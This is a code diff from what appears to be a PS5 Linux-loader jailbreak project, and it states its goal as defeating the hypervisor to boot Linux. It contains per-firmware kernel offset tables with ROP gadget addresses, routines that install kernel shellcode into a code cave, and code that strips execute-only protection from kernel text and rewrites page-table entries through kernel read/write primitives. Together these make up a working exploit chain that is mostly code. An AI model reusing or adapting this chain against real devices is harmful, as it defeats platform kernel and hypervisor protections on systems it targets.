// .VMSPACE_VM_VMID not needed
.VMSPACE_VM_PMAP = 0x1D8,
// .DATA_BASE_GVMSPACE not needed
.ACPIGBL_FACS = (0xFFFFFFFF83C04540 - KERNEL_TEXT),
.IDT = (0xFFFFFFFF873CDDE0 - KERNEL_TEXT),
.COMMON_TSS = (0xFFFFFFFF873D0A00 - KERNEL_TEXT),
.STOPPED_CPUS = (0xFFFFFFFF87520DE0 - KERNEL_TEXT),
.FUN_STOP_CPUS = (0xFFFFFFFF80CD13B0 - KERNEL_TEXT),
.FUN_AS_LAPIC_EOI = (0xFFFFFFFF80451E60 - KERNEL_TEXT),
.FUN_HV_UNMAP_PT_TMR = (0xFFFFFFFF80DD36B0 - KERNEL_TEXT),
.FUN_MEMCPY = (0xFFFFFFFF804935B0 - KERNEL_TEXT),
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80bb6ad4 - KERNEL_TEXT),
.GAD_IRETQ = (0xFFFFFFFF804547ED - KERNEL_TEXT),
.GAD_POP_RDI_RET = (0xffffffff803f1ef8 - KERNEL_TEXT),
.GAD_POP_RSI_RET = (0xffffffff803b2a30 - KERNEL_TEXT),
.GAD_POP_RDX_RET = (0xffffffff803f321e - KERNEL_TEXT),
.GAD_POP_RSP_RET = (0xffffffff8045a830 - KERNEL_TEXT),
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff806141fa - KERNEL_TEXT),
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
.KERNEL_CODE_CAVE = 0x500,
.FUN_PRINTF = (0xFFFFFFFF804B1460 - KERNEL_TEXT),
// .FUN_HV_IOMMU_SET_BUFFERS not needed
// .FUN_HV_IOMM_WAIT_COMPLETION not needed
.FUN_SMP_RENDEZVOUS = (0xFFFFFFFF80CD1990 - KERNEL_TEXT),
.FUN_SMP_NO_RENDEVOUS_BARRIER = (0xFFFFFFFF804BD118 - KERNEL_TEXT),
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x62841CE0,
.KERNEL_UART_OVERRIDE = (0xFFFFFFFF822D25C8 - KERNEL_TEXT),
.KERNEL_CFI_CHECK = (0xFFFFFFFF806899B0 - KERNEL_TEXT),
.G_VBIOS = (0xFFFFFFFF875DFA50 - KERNEL_TEXT),
.FUN_TRANSMITTER_CONTROL = (0xFFFFFFFF80DCB210 - KERNEL_TEXT),
.FUN_MP3_INITIALIZE = (0xFFFFFFFF80BE3A40 - KERNEL_TEXT),
.FUN_MP3_INVOKE = (0xFFFFFFFF80BE27C0 - KERNEL_TEXT),
.PS5_WIFI_FW_OFFSET = (0xFFFFFFFF81665C00 - KERNEL_TEXT),
.PS5_WIFI_FW_SIZE = 494536,
};
offset_list off_0602 = {
// .IOMMU_SOFTC not needed
// .VMSPACE_VM_VMID not needed
.VMSPACE_VM_PMAP = 0x1D8,
// .DATA_BASE_GVMSPACE not needed
.ACPIGBL_FACS = (0xFFFFFFFF83C04540 - KERNEL_TEXT),
.IDT = (0xFFFFFFFF873CDDE0 - KERNEL_TEXT),
.COMMON_TSS = (0xFFFFFFFF873D0A00 - KERNEL_TEXT),
.STOPPED_CPUS = (0xFFFFFFFF87520DE0 - KERNEL_TEXT),
.FUN_STOP_CPUS = (0xFFFFFFFF80CD1390 - KERNEL_TEXT),
.FUN_AS_LAPIC_EOI = (0xFFFFFFFF80451E60 - KERNEL_TEXT),
.FUN_HV_UNMAP_PT_TMR = (0xFFFFFFFF80DD3690 - KERNEL_TEXT),
.FUN_MEMCPY = (0xFFFFFFFF804935B0 - KERNEL_TEXT),
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80bb6ab4 - KERNEL_TEXT),
.GAD_IRETQ = (0xFFFFFFFF804547ED - KERNEL_TEXT),
.GAD_POP_RDI_RET = (0xffffffff803f1ef8 - KERNEL_TEXT),
.GAD_POP_RSI_RET = (0xffffffff803b2a30 - KERNEL_TEXT),
.GAD_POP_RDX_RET = (0xffffffff804c48da - KERNEL_TEXT),
.GAD_POP_RSP_RET = (0xffffffff8045a830 - KERNEL_TEXT),
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff806141fa - KERNEL_TEXT),
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
.KERNEL_CODE_CAVE = 0x500,
.FUN_PRINTF = (0xFFFFFFFF804B0C38 - KERNEL_TEXT),
// .FUN_HV_IOMMU_SET_BUFFERS not needed
// .FUN_HV_IOMM_WAIT_COMPLETION not needed
.FUN_SMP_RENDEZVOUS = (0xFFFFFFFF80CD1970 - KERNEL_TEXT),
.FUN_SMP_NO_RENDEVOUS_BARRIER = (0xFFFFFFFF804C05A8 - KERNEL_TEXT),
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x62841CE0,
.KERNEL_UART_OVERRIDE = (0xFFFFFFFF822D25C8 - KERNEL_TEXT),
.KERNEL_CFI_CHECK = (0xFFFFFFFF806899B0 - KERNEL_TEXT),
.G_VBIOS = (0xFFFFFFFF875DFA50 - KERNEL_TEXT),
.FUN_TRANSMITTER_CONTROL = (0xFFFFFFFF80DCB1F0 - KERNEL_TEXT),
.FUN_MP3_INITIALIZE = (0xFFFFFFFF80BE3A20 - KERNEL_TEXT),
.FUN_MP3_INVOKE = (0xFFFFFFFF80BE27A0 - KERNEL_TEXT),
.PS5_WIFI_FW_OFFSET = (0xFFFFFFFF81665CC0 - KERNEL_TEXT),
.PS5_WIFI_FW_SIZE = 494536,
};

152
source/prepare_resume.c Normal file
View File

@@ -0,0 +1,152 @@
#include "prepare_resume.h"
#include "../shellcode_kernel/shellcode_kernel.h"
#include "../shellcode_kernel/shellcode_kernel_args.h"
#include "config.h"
#include "iommu.h"
#include "offsets.h"
#include "utils.h"
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
int remove_xotext(void) {
uint64_t start = ktext;
uint64_t end = kdata;
int n __attribute__((unused)) = 0;
for (uint64_t a = start; a < end; a += 0x1000) {
page_chain_set_rw(a);
n++;
}
return 0;
}
int kernel_pmap_invalidate_all(void) {
static uint64_t two_zero_pages[PAGE_SIZE * 2] = {0};
int pipe_fds[2];
if (pipe2(pipe_fds, O_NONBLOCK)) {
return -1;
}
if (write(pipe_fds[1], two_zero_pages, PAGE_SIZE * 2) < 0) {
close(pipe_fds[0]);
close(pipe_fds[1]);
return -1;
}
close(pipe_fds[1]);
uint64_t read_fd_file_data = kernel_get_proc_file(-1, pipe_fds[0]);
if (!INKERNEL(read_fd_file_data)) {
close(pipe_fds[0]);
return -1;
}
uint64_t read_fd_buffer;
kernel_copyout(read_fd_file_data + 0x10, &read_fd_buffer,
sizeof(read_fd_buffer));
if (!INKERNEL(read_fd_buffer)) {
close(pipe_fds[0]);
return -1;
}
if (!page_remove_global(read_fd_buffer)) {
close(pipe_fds[0]);
return -1;
}
close(pipe_fds[0]);
return 0;
}
int prepare_resume(void **shellcode_kernel, size_t *shellcode_kernel_len) {
if (env_offset.KERNEL_CODE_CAVE == 0) {
printf("Error: missing code cave offset\n");
return -1;
}
// Copy shellcode_kernel.
*shellcode_kernel =
mmap(NULL, ALIGN_UP(shellcode_kernel_bin_len, PAGE_SIZE),
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*shellcode_kernel_len = shellcode_kernel_bin_len;
memcpy(*shellcode_kernel, shellcode_kernel_bin, shellcode_kernel_bin_len);
uint64_t args_va = prepare_sck_args();
if (update_sck_args_ptr((uint64_t)*shellcode_kernel, args_va))
return -1;
// Install shellcode_kernel in kernel space.
for (int i = 0; i < shellcode_kernel_bin_len; i += PAGE_SIZE) {
install_page_syscore(kernel_cave_shellcode + i,
vtophys_user((uintptr_t)*shellcode_kernel + i), 0);
}
if (remove_xotext()) {
printf("Error: could not remove xo from text\n");
return -1;
}
if (kernel_pmap_invalidate_all()) {
printf("Error: could not invalidate pmap\n");
return -1;
}
return 0;
}
int update_sck_args_ptr(uint64_t shellcode, uint64_t args) {
// Find the address 0x11AA11AA11AA11AA used as marker
int offset = -1;
for (uint64_t i = 0; i < 0x40; i++) {
if (*(uint64_t *)(shellcode + i) == 0x11AA11AA11AA11AA) {
offset = i;
break;
}
}
if (offset == -1) {
notify("Could not find offset of args_ptr address - Aborting\n");
return -1;
}
*(uint64_t *)(shellcode + offset) = args;
return 0;
}
uint64_t prepare_sck_args(void) {
shellcode_kernel_args args;
args.fw_version = fw;
args.ktext = ktext;
args.kdata = kdata;
args.dmap_base = dmap;
args.fun_printf = ktext + env_offset.FUN_PRINTF;
args.fun_hv_iommu_set_buffers = ktext + env_offset.FUN_HV_IOMMU_SET_BUFFERS;
args.fun_hv_iommu_wait_completion =
ktext + env_offset.FUN_HV_IOMM_WAIT_COMPLETION;
args.fun_smp_rendezvous = ktext + env_offset.FUN_SMP_RENDEZVOUS;
args.fun_smp_no_rendevous_barrier =
ktext + env_offset.FUN_SMP_NO_RENDEVOUS_BARRIER;
args.g_vbios = ktext + env_offset.G_VBIOS;
args.fun_transmitter_control = ktext + env_offset.FUN_TRANSMITTER_CONTROL;
args.fun_mp3_initialize = ktext + env_offset.FUN_MP3_INITIALIZE;
args.fun_mp3_invoke = ktext + env_offset.FUN_MP3_INVOKE;
args.iommu_softc = ktext + env_offset.IOMMU_SOFTC;
args.kernel_uart_override = ktext + env_offset.KERNEL_UART_OVERRIDE;
args.kernel_cfi_check = ktext + env_offset.KERNEL_CFI_CHECK;
args.hv_handle_vmexit_pa = env_offset.HV_HANDLE_VMEXIT_PA;
args.hv_code_cave_pa = env_offset.HV_CODE_CAVE_PA;
args.linux_info_va = linux_i.linux_info;
uint64_t args_cave = pa_to_dmap(alloc_page());
kernel_copyin(&args, args_cave, sizeof(args));
return args_cave;
}

View File

@@ -1,12 +1,12 @@
#include "tmr.h"
#include "utils.h"
uint32_t tmr_read(uint32_t addr) {
kwrite32(ECAM_B0D18F2 + TMR_INDEX_OFF, addr);
return kread32(ECAM_B0D18F2 + TMR_DATA_OFF);
}
void tmr_write(uint32_t addr, uint32_t val) {
kwrite32(ECAM_B0D18F2 + TMR_INDEX_OFF, addr);
kwrite32(ECAM_B0D18F2 + TMR_DATA_OFF, val);
}
#include "tmr.h"
#include "utils.h"
uint32_t tmr_read(uint32_t addr) {
kwrite32(ECAM_B0D18F2 + TMR_INDEX_OFF, addr);
return kread32(ECAM_B0D18F2 + TMR_DATA_OFF);
}
void tmr_write(uint32_t addr, uint32_t val) {
kwrite32(ECAM_B0D18F2 + TMR_INDEX_OFF, addr);
kwrite32(ECAM_B0D18F2 + TMR_DATA_OFF, val);
}

View File

@@ -1,250 +1,350 @@
#include "utils.h"
#include "offsets.h"
#include <ps5/kernel.h>
#include <stdio.h>
#include <sys/cpuset.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <unistd.h>
/* Global Variables */
offset_list env_offset;
uint64_t ktext;
uint64_t kdata;
uint64_t dmap;
uint64_t cr3;
uint32_t fw;
struct linux_info linux_i;
int set_offsets(void) {
fw = kernel_get_fw_version() >> 16;
if (fw == 0)
return -1;
switch (fw) {
case 0x0300:
env_offset = off_0300;
break;
case 0x0310:
env_offset = off_0310;
break;
case 0x0320:
env_offset = off_0320;
break;
case 0x0321:
env_offset = off_0321;
break;
case 0x0400:
env_offset = off_0400;
break;
case 0x0402:
env_offset = off_0402;
break;
case 0x0403:
env_offset = off_0403;
break;
case 0x0450:
env_offset = off_0450;
break;
case 0x0451:
env_offset = off_0451;
break;
default:
return -1;
}
return 0;
}
int init_global_vars(void) {
ktext = KERNEL_ADDRESS_TEXT_BASE;
kdata = KERNEL_ADDRESS_DATA_BASE;
flat_pmap kernel_pmap;
kread(ktext + env_offset.PMAP_STORE, &kernel_pmap, sizeof(kernel_pmap));
if (kernel_pmap.pm_pml4 == 0 || kernel_pmap.pm_cr3 == 0)
return -1;
cr3 = kernel_pmap.pm_cr3;
dmap = kernel_pmap.pm_pml4 - kernel_pmap.pm_cr3;
return 0;
}
uint64_t get_offset_va(uint64_t offset) { return ktext + offset; }
uint64_t get_pml4(uint64_t pmap) { return kread64(pmap + 0x20); }
uint64_t getpmap(uint64_t proc) {
uint64_t vm = kread64(proc + KERNEL_OFFSET_PROC_P_VMSPACE);
uint64_t vm_pmap = kread64(vm + env_offset.VMSPACE_VM_PMAP);
return vm_pmap;
}
// for ring3
uint64_t va_to_pa_user(uint64_t va) {
uintptr_t self_pmap = getpmap(kernel_get_proc(getpid()));
uintptr_t self_pml4 = get_pml4(self_pmap);
uint64_t pa = va_to_pa_custom(va, self_pml4 & 0xFFFFFFFF);
return pa;
}
// for ring0
uint64_t va_to_pa_kernel(uint64_t va) { return va_to_pa_custom(va, cr3); }
// Source: PS5_kldload
uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) {
uint64_t table_phys = cr3_custom & 0xFFFFFFFF;
for (int level = 0; level < 4; level++) {
int shift = 39 - (level * 9);
uint64_t idx = (va >> shift) & 0x1FF;
uint64_t entry;
kread(dmap + PAGE_PA(table_phys) + idx * 8, &entry, sizeof(entry));
if (!PAGE_P(entry))
return 0;
if ((level == 1 || level == 2) && PAGE_PS(entry)) {
uint64_t page_size = P_SIZE(level);
return PAGE_PA(entry) | (va & (page_size - 1));
}
if (level == 3)
return PAGE_PA(entry) | (va & 0xFFF);
table_phys = PAGE_PA(entry);
}
return 0;
}
uint64_t pa_to_dmap(uint64_t pa) { return dmap + pa; }
// Set RW bit on all levels if needed and remove eXecute Only bit
void page_chain_set_rw(uint64_t va) {
uint64_t table_phys = cr3;
for (int level = 0; level < 4; level++) {
int shift = 39 - (level * 9);
uint64_t idx = (va >> shift) & 0x1FF;
uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8;
uint64_t entry;
// Read Level X entry
kread(entry_va, &entry, sizeof(entry));
if (!PAGE_P(entry))
return;
uint8_t update = 0;
// Set RW bit on this level
if (!PAGE_RW(entry)) {
PAGE_SET_RW(entry);
update = 1;
}
// Unset XO on this level
if (PAGE_XO(entry)) {
PAGE_CLEAR_XO(entry);
update = 1;
}
if (update) {
kwrite(entry_va, &entry, sizeof(entry));
}
if (((level == 1 || level == 2) && PAGE_PS(entry)) || (level == 3)) {
return;
}
table_phys = PAGE_PA(entry);
}
return;
}
// Remove Global bit on last level
uint64_t page_remove_global(uint64_t va) {
uint64_t table_phys = cr3;
for (int level = 0; level < 4; level++) {
int shift = 39 - (level * 9);
uint64_t idx = (va >> shift) & 0x1FF;
uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8;
uint64_t entry;
// Read Level X entry
kread(entry_va, &entry, sizeof(entry));
if (!PAGE_P(entry))
return 0;
if ((level == 1 || level == 2) && PAGE_PS(entry)) {
PAGE_CLEAR_G(entry);
kwrite(entry_va, &entry, sizeof(entry));
uint64_t page_size = P_SIZE(level);
return PAGE_PA(entry) | (va & (page_size - 1));
}
if (level == 3) {
PAGE_CLEAR_G(entry);
kwrite(entry_va, &entry, sizeof(entry));
return PAGE_PA(entry) | (va & 0xFFF);
}
table_phys = PAGE_PA(entry);
}
return 0;
}
int pin_to_core(int n) {
uint64_t m[2] = {0};
m[0] = (1 << n);
return cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *)m);
}
int pin_to_first_available_core(void) {
for (int i = 0; i < 16; i++)
if (pin_to_core(i) == 0)
return i;
return -1;
}
void unpin(void) {
uint64_t m[2] = {0xFFFF, 0};
cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *)m);
}
void notify(const char *fmt, ...) {
static char buffer[2048];
va_list args;
va_start(args, fmt);
vsnprintf(buffer, sizeof(buffer), fmt, args);
va_end(args);
notify_internal(buffer);
printf(buffer);
}
void notify_internal(uint8_t *msg) {
struct {
char pad[45];
char msg[3075];
} req;
bzero(&req, sizeof(req));
uint64_t len =
strlen(msg) < (sizeof(req.msg) - 1) ? strlen(msg) : (sizeof(req.msg) - 1);
memcpy(req.msg, msg, len);
sceKernelSendNotificationRequest(0, &req, sizeof(req), 0);
}
void enter_rest_mode(void) {
void *event = NULL;
sceKernelOpenEventFlag(&event, "SceSystemStateMgrStatus");
sceKernelNotifySystemSuspendStart();
sceKernelSetEventFlag(event, 0x400);
sceKernelCloseEventFlag(&event);
}
#include "utils.h"
#include "linux.h"
#include "offsets.h"
#include <stdio.h>
#include <sys/cpuset.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/stat.h>
/* Global Variables */
offset_list env_offset;
uint64_t ktext;
uint64_t kdata;
uint64_t dmap;
uint64_t cr3;
uint32_t fw;
struct linux_info linux_i;
int setup_env(void) {
notify("Welcome to ps5-linux-loader. We'll defeat HV and prepare the system "
"to boot Linux on sleep resume.\n");
if (set_offsets())
return -1;
if (init_global_vars())
return -1;
return 0;
}
int set_offsets(void) {
fw = (kernel_get_fw_version() >> 0x10) & 0xFFFF;
if (fw == 0)
return -1;
switch (fw) {
case 0x0300:
env_offset = off_0300;
break;
case 0x0310:
env_offset = off_0310;
break;
case 0x0320:
env_offset = off_0320;
break;
case 0x0321:
env_offset = off_0321;
break;
case 0x0400:
env_offset = off_0400;
break;
case 0x0402:
env_offset = off_0402;
break;
case 0x0403:
env_offset = off_0403;
break;
case 0x0450:
env_offset = off_0450;
break;
case 0x0451:
env_offset = off_0451;
break;
case 0x0550:
env_offset = off_0550;
break;
case 0x0600:
env_offset = off_0600;
break;
case 0x0602:
env_offset = off_0602;
break;
default:
return -1;
}
return 0;
}
int init_global_vars(void) {
ktext = KERNEL_ADDRESS_TEXT_BASE;
kdata = KERNEL_ADDRESS_DATA_BASE;
flat_pmap kernel_pmap;
kread(getpmap(kernel_get_proc(0)), &kernel_pmap, sizeof(kernel_pmap));
if (kernel_pmap.pm_pml4 == 0 || kernel_pmap.pm_cr3 == 0)
return -1;
cr3 = kernel_pmap.pm_cr3;
dmap = kernel_pmap.pm_pml4 - kernel_pmap.pm_cr3;
return 0;
}
uint64_t get_offset_va(uint64_t offset) { return ktext + offset; }
uint64_t get_pml4(uint64_t pmap) { return kread64(pmap + 0x20); }
uint64_t getpmap(uint64_t proc) {
uint64_t vm = kread64(proc + KERNEL_OFFSET_PROC_P_VMSPACE);
uint64_t vm_pmap = kread64(vm + env_offset.VMSPACE_VM_PMAP);
return vm_pmap;
}
// for ring3
uint64_t vtophys_user(uint64_t va) {
uintptr_t self_pmap = getpmap(kernel_get_proc(getpid()));
uintptr_t self_pml4 = get_pml4(self_pmap);
uint64_t pa = vtophys_custom(va, self_pml4 & 0xFFFFFFFF);
return pa;
}
// for ring0
uint64_t vtophys(uint64_t va) { return vtophys_custom(va, cr3); }
// Source: PS5_kldload
uint64_t vtophys_custom(uint64_t va, uint64_t cr3_custom) {
uint64_t table_phys = cr3_custom & 0xFFFFFFFF;
for (int level = 0; level < 4; level++) {
int shift = 39 - (level * 9);
uint64_t idx = (va >> shift) & 0x1FF;
uint64_t entry;
kread(dmap + PAGE_PA(table_phys) + idx * 8, &entry, sizeof(entry));
if (!PAGE_P(entry))
return 0;
if ((level == 1 || level == 2) && PAGE_PS(entry)) {
uint64_t page_size = P_SIZE(level);
return PAGE_PA(entry) | (va & (page_size - 1));
}
if (level == 3)
return PAGE_PA(entry) | (va & 0xFFF);
table_phys = PAGE_PA(entry);
}
return 0;
}
uint64_t pa_to_dmap(uint64_t pa) { return dmap + pa; }
// Set RW bit on all levels if needed and remove eXecute Only bit
void page_chain_set_rw(uint64_t va) {
uint64_t table_phys = cr3;
for (int level = 0; level < 4; level++) {
int shift = 39 - (level * 9);
uint64_t idx = (va >> shift) & 0x1FF;
uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8;
uint64_t entry;
// Read Level X entry
kread(entry_va, &entry, sizeof(entry));
if (!PAGE_P(entry))
return;
uint8_t update = 0;
// Set RW bit on this level
if (!PAGE_RW(entry)) {
PAGE_SET_RW(entry);
update = 1;
}
// Unset XO on this level
if (PAGE_XO(entry)) {
PAGE_CLEAR_XO(entry);
update = 1;
}
if (update) {
kwrite(entry_va, &entry, sizeof(entry));
}
if (((level == 1 || level == 2) && PAGE_PS(entry)) || (level == 3)) {
return;
}
table_phys = PAGE_PA(entry);
}
return;
}
// Remove Global bit on last level
uint64_t page_remove_global(uint64_t va) {
uint64_t table_phys = cr3;
for (int level = 0; level < 4; level++) {
int shift = 39 - (level * 9);
uint64_t idx = (va >> shift) & 0x1FF;
uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8;
uint64_t entry;
// Read Level X entry
kread(entry_va, &entry, sizeof(entry));
if (!PAGE_P(entry))
return 0;
if ((level == 1 || level == 2) && PAGE_PS(entry)) {
PAGE_CLEAR_G(entry);
kwrite(entry_va, &entry, sizeof(entry));
uint64_t page_size = P_SIZE(level);
return PAGE_PA(entry) | (va & (page_size - 1));
}
if (level == 3) {
PAGE_CLEAR_G(entry);
kwrite(entry_va, &entry, sizeof(entry));
return PAGE_PA(entry) | (va & 0xFFF);
}
table_phys = PAGE_PA(entry);
}
return 0;
}
int pin_to_core(int n) {
uint64_t m[2] = {0};
m[0] = (1 << n);
return cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *)m);
}
int pin_to_first_available_core(void) {
for (int i = 0; i < 16; i++)
if (pin_to_core(i) == 0)
return i;
return -1;
}
void unpin(void) {
uint64_t m[2] = {0xFFFF, 0};
cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *)m);
}
void notify(const char *fmt, ...) {
static char buffer[2048];
va_list args;
va_start(args, fmt);
vsnprintf(buffer, sizeof(buffer), fmt, args);
va_end(args);
notify_internal((uint8_t *)buffer);
printf("%s", buffer);
}
void notify_internal(uint8_t *msg) {
struct {
char pad[45];
char msg[3075];
} req;
bzero(&req, sizeof(req));
uint64_t len = strlen((const char *)msg) < (sizeof(req.msg) - 1)
? strlen((const char *)msg)
: (sizeof(req.msg) - 1);
memcpy(req.msg, msg, len);
sceKernelSendNotificationRequest(0, &req, sizeof(req), 0);
}
void enter_rest_mode(void) {
void *event = NULL;
sceKernelOpenEventFlag(&event, "SceSystemStateMgrStatus");
sceKernelNotifySystemSuspendStart();
sceKernelSetEventFlag(event, 0x400);
sceKernelCloseEventFlag(&event);
}
// Kit type by EchoStretch
bool if_exists(const char *path) {
struct stat st;
return stat(path, &st) == 0;
}
bool sceKernelIsTestKit(void) {
return if_exists("/system/priv/lib/libSceDeci5Ttyp.sprx");
}
bool sceKernelIsDevKit(void) {
return if_exists("/system/priv/lib/libSceDeci5Dtracep.sprx");
}
enum kit_type get_kit_type(void) {
if (sceKernelIsDevKit()) {
notify("DevKit detected\n");
return KIT_DEVKIT;
}
if (sceKernelIsTestKit()) {
notify("TestKit detected\n");
return KIT_TESTKIT;
}
notify("Retail console detected\n");
return KIT_RETAIL;
}
uint64_t alloc_page(void) {
void *page = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
// Fault it to force physical allocation
*(uint8_t *)page = 0;
return vtophys_user((uintptr_t)page);
}
void install_page(uintptr_t pml4, vm_offset_t va, vm_paddr_t pa, int bits) {
uint64_t entry;
uintptr_t pml4e = pml4 + pmap_pml4e_index(va) * 8;
entry = kread64(pml4e);
if (!PAGE_P(entry)) {
uint64_t page = alloc_page();
entry = page | PG_B_RW | PG_B_P | bits;
kwrite64(pml4e, entry);
}
uintptr_t pdpe = pa_to_dmap(PAGE_PA(entry)) + pmap_pdpe_index(va) * 8;
entry = kread64(pdpe);
if (!(entry & PG_B_P)) {
uint64_t page = alloc_page();
entry = page | PG_B_RW | PG_B_P | bits;
kwrite64(pdpe, entry);
}
uintptr_t pde = pa_to_dmap(PAGE_PA(entry)) + pmap_pde_index(va) * 8;
entry = kread64(pde);
if (!(entry & PG_B_P)) {
uint64_t page = alloc_page();
entry = page | PG_B_RW | PG_B_P | bits;
kwrite64(pde, entry);
}
uintptr_t pte = pa_to_dmap(PAGE_PA(entry)) + pmap_pte_index(va) * 8;
entry = pa | PG_B_RW | PG_B_P | bits;
pte_store(pte, entry);
}
void pte_store(uintptr_t ptep, uint64_t pte) {
static_assert((PAGE_SIZE % 0x1000) == 0,
"PAGE_SIZE should be a multiple of 0x1000");
for (uint64_t i = 0; i < (PAGE_SIZE / 0x1000); i++) {
kwrite64(ptep + i * 8, pte + i * 0x1000);
}
}
void install_page_syscore(vm_offset_t va, vm_paddr_t pa, int bits) {
uintptr_t syscore_pmap = getpmap(kernel_get_proc(MINI_SYSCORE_PID));
uintptr_t syscore_pml4 = kread64(syscore_pmap + 0x20);
install_page(syscore_pml4, va, pa, bits);
}